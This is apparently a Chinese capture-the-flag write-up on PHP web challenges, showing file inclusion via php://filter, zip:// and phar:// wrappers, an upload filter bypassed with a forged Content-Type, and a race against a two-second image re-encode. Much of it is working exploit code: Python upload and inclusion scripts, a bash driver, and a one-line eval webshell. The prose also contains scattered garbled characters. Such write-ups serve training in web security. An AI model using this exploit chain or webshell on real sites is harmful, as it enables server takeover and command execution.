1.第一題
文件包含
題目:http://58.154.33.13:8004/index.php
可以讀到php源代碼
偽協(xié)議
zip://archive.zip#1.php
php://filter/read=convert.base64-encode//resource=index
index.php后面是否需要添加后綴,要注意看瀏覽器地址欄的情況,本題用偽協(xié)議查看index.php的源代碼的base64編碼串
查看源代碼
http://58.154.33.13:8004/index.php?page=php://filter/read=convert.base64-encode//resource=index #index為index.php的文件名
源代碼:
<?php
require("header.php");
$page="";
if (isset($_GET['page']))
$page=$_GET['page'].".php"; #page參數(shù)自動(dòng)添加了.php后綴南片,因此文件包含的index不需要加后綴
else
$page="main.php";
include($page);
?>
本題還可以通過(guò)文件包含胎撇,查看upload.php的源代碼
<html lang="zh-CN">
<head>
<meta charset="utf-8">
<?php
$error=$_FILES['pic']['error'];
$tmpName=$_FILES['pic']['tmp_name'];
$name=$_FILES['pic']['name'];
$size=$_FILES['pic']['size'];
$type=$_FILES['pic']['type'];
try{
if($name!=="")
{
$name1=substr($name,-4);
if(($name1!==".gif") and ($name1!==".jpg") and ($name1!==".zip"))
{
echo "hehe";
echo "<script language=javascript>alert('不允許的文件類(lèi)型沃疮!');history.go(-1)</script>";
exit;
}
if($type!=="image/jpeg"&&$type!=="image/gif")
{
echo mime_content_type($tmpName);
echo "<script language=javascript>alert('不允許的文件類(lèi)型!');history.go(-1)</script>";
exit;
}
if(is_uploaded_file($tmpName)){
$time=time();
$rootpath='uploads/'.$time.$name1;
if(!move_uploaded_file($tmpName,$rootpath)){
echo "<script language='JavaScript'>alert('文件移動(dòng)失敗!');window.location='index.php?page=submit'</script>";
exit;
}
}
echo "圖片ID:".$time;
}
}
catch(Exception $e)
{
echo "ERROR";
}
//
?>
</html>
最后文兢,可以通過(guò)burp修改http包的Content-Type: image/gif扑毡,上傳一個(gè)包含1.php的a.zip的壓縮包
之后找到zip所在的路徑,用zip偽協(xié)議瀏覽里面的php
http://58.154.33.13:8004/index.php?page=zip://xxx/a.zip#1.php
然后執(zhí)行i.php的webshell窟赏,提交post參數(shù)調(diào)用系統(tǒng)命令措译,實(shí)現(xiàn)shell
2.第二題
跟上一題一樣,先用php://filter/read=convert.base64-encode//resource=upload查看源代碼
<html lang="zh-CN">
<head>
<meta charset="utf-8">
<?php
$error=$_FILES['pic']['error'];
$tmpName=$_FILES['pic']['tmp_name'];
$name=$_FILES['pic']['name'];
$size=$_FILES['pic']['size'];
$type=$_FILES['pic']['type'];
try{
if($name!=="")
{
$name1=substr($name,-4);
if(($name1!==".gif") and ($name1!==".jpg"))
{
echo "hehe";
echo "<script language=javascript>alert('不允許的文件類(lèi)型饰序!');history.go(-1)</script>";
exit;
}
if($type!=="image/jpeg"&&$type!=="image/gif")
{
//echo mime_content_type($tmpName);
echo "<script language=javascript>alert('不允許的文件類(lèi)型!');history.go(-1)</script>";
exit;
}
if(is_uploaded_file($tmpName)){
$time=time();
$rootpath='uploads/'.$time.$name1;
if(!move_uploaded_file($tmpName,$rootpath)){
echo "<script language='JavaScript'>alert('文件移動(dòng)失敗!');window.location='index.php?page=submit'</script>";
exit;
}
else{
sleep(2);
if ($type=='image/jpeg')
{
$im = @imagecreatefromjpeg($rootpath);
if(!$im){
$im = imagecreatetruecolor(150, 30);
$bg = imagecolorallocate($im, 255, 255, 255);
$text_color = imagecolorallocate($im, 0, 0, 255);
imagefilledrectangle($im, 0, 0, 150, 30, $bg);
imagestring($im, 3, 5, 5, "Error loading image", $text_color);
} else {
$time=time();
$new_rootpath='uploads/'.$time.$name1;
imagejpeg($im,$new_rootpath);
imagedestroy($im);
}
}
else if ($type=='image/gif')
{
$im = @imagecreatefromgif($rootpath);
if(!$im){
$im = imagecreatetruecolor(150, 30);
$bg = imagecolorallocate($im, 255, 255, 255);
$text_color = imagecolorallocate($im, 0, 0, 255);
imagefilledrectangle($im, 0, 0, 150, 30, $bg);
imagestring($im, 3, 5, 5, "Error loading image", $text_color);
} else {
$time=time();
$new_rootpath='uploads/'.$time.$name1;
imagegif($im,$new_rootpath);
imagedestroy($im);
}
}
unlink($rootpath);
}
}
echo "圖片ID:".$time;
}
}
catch(Exception $e)
{
echo "ERROR";
}
//
?>
</html>
查看源碼后规哪,發(fā)現(xiàn)php代碼里面在做一般的檢查之后求豫,會(huì)先sleep(2),之后會(huì)對(duì)圖片進(jìn)行轉(zhuǎn)換诉稍,如果不是正常的圖片就會(huì)被刪除蝠嘉;因此,我們需要在上傳完文件的這2秒內(nèi)杯巨,用另外一個(gè)腳本去文件包含shell執(zhí)行
以下是兩個(gè)腳本的代碼:
upload.py用來(lái)上傳zip壓縮包
#!/usr/bin/env python
# encoding: utf-8
import requests
url = "http://202.112.51.217:8199/upload.php"
data = {
'title': 'admin',
'url': 'admin'
}
#此處**'pic'**是因?yàn)樯厦娴膗pload.php里面判斷用的鍵名
files = {'pic': ('xman.jpg', open("sh.zip").read(), 'image/jpeg')}
# 這里使用 requests 庫(kù)來(lái)上傳文件有幾種方式
# 這種方式可以控制文件名以及文件類(lèi)型
# 可以用來(lái)繞過(guò)基于客戶(hù)端的文件名和文件類(lèi)型檢測(cè)
response = requests.post(url, data=data, files=files)
content = response.content
print content
shell.py用來(lái)進(jìn)行文件包含執(zhí)行webshell
#!/usr/bin/env python
# encoding: utf-8
import requests
#由于此題apache2配置的問(wèn)題導(dǎo)致可以直接讀uploads目錄
url = "http://202.112.51.217:8199/uploads/"
response = requests.get(url)
content = response.content
files = []
#這里用來(lái)尋找到最新的(你剛上傳的)webshell文件的名字
for line in content.split("\n"):
if "href=" in line:
files.append(line.split("href=\"")[1].split("\">")[0])
#一般是這些保存的文件的最后一個(gè)
filename = files[-1]
#此處zip://試過(guò)不行蚤告,似乎是因?yàn)閜hp版本的原因,因此改用phar://偽協(xié)議去執(zhí)行解壓縮
url = "http://202.112.51.217:8199
/index.php?page=phar://uploads/"+filename+"/sh&w=system('head *');" #此處‘head *’用來(lái)打印當(dāng)前目錄下所有文件的前十行
print requests.get(url).content
sh.php是一句話木馬
//這里因?yàn)樯厦娴膕hell.py最后用的是GET請(qǐng)求服爷,因此杜恰,寫(xiě)REQUEST或者GET都可以,如果要用POST要更改shell.py腳本
<?php @eval($_REQUEST[w]);?>
這兩個(gè)腳本你可以接連在兩個(gè)終端上執(zhí)行仍源,也可以寫(xiě)一個(gè)shell腳本去執(zhí)行,下面是shell.sh的內(nèi)容
#!/bin/bash
python upload.py& #后面加&就不會(huì)阻塞后面的命令執(zhí)行
sleep 0.5 #這里是為了給上傳文件留出一定的時(shí)間
python shell.py #此處用于執(zhí)行webshell
執(zhí)行的結(jié)果圖:
注:requests庫(kù)上傳文件的書(shū)寫(xiě)格式心褐,官方文檔傳送門(mén)
3.第三題
X-NUCA 練習(xí):login
http://218.76.35.75:20115/login.php
writeup請(qǐng)點(diǎn)擊
注:通過(guò)log來(lái)寫(xiě)入webshell,構(gòu)造zip壓縮包
4.第四題
NS筆記管理系統(tǒng)題目地址:http://218.76.35.74:20128/index.php?action=front&mode=login